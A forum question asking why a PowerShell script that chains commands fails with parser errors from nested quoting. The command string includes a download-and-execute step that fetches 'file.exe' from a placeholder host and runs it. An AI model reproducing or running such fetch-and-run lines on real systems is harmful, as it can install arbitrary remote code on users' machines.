Concatenate multiple commands on powershell script

Question

I'm trying to run multiple commands from a powershell script

The part of the script that execute commands

[String]$CommandToExecute = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "command 1;command2; (New-Object System.Net.WebClient).DownloadFile('https://site/file.exe','file.exe');Start-Process 'file.exe'"'

the command1 and 2 I'm being able to run it but when downloading the file I get

At C:\Users\Desktop\file.ps1:16 char:333
+ ... ktop\file.txt;"(New-Object System.Net.WebClient).DownloadFile('https:// ...
+                                                                  ~
Missing ')' in function parameter list.
At C:\Users\Desktop\file.ps1:9 char:29
+ Function script:Set-INFFile {
+                             ~
Missing closing '}' in statement block or type definition.
At C:\Users\Desktop\file.ps1:17 char:2
+     )
+     ~
Unexpected token ')' in expression or statement.
At C:\Users\Desktop\file.ps1:46 char:1
+ }
+ ~
Unexpected token '}' in expression or statement.
    + CategoryInfo          : ParserError: (:) [], ParseException
    + FullyQualifiedErrorId : MissingEndParenthesisInFunctionParameterList

And I don't understand what may be the cause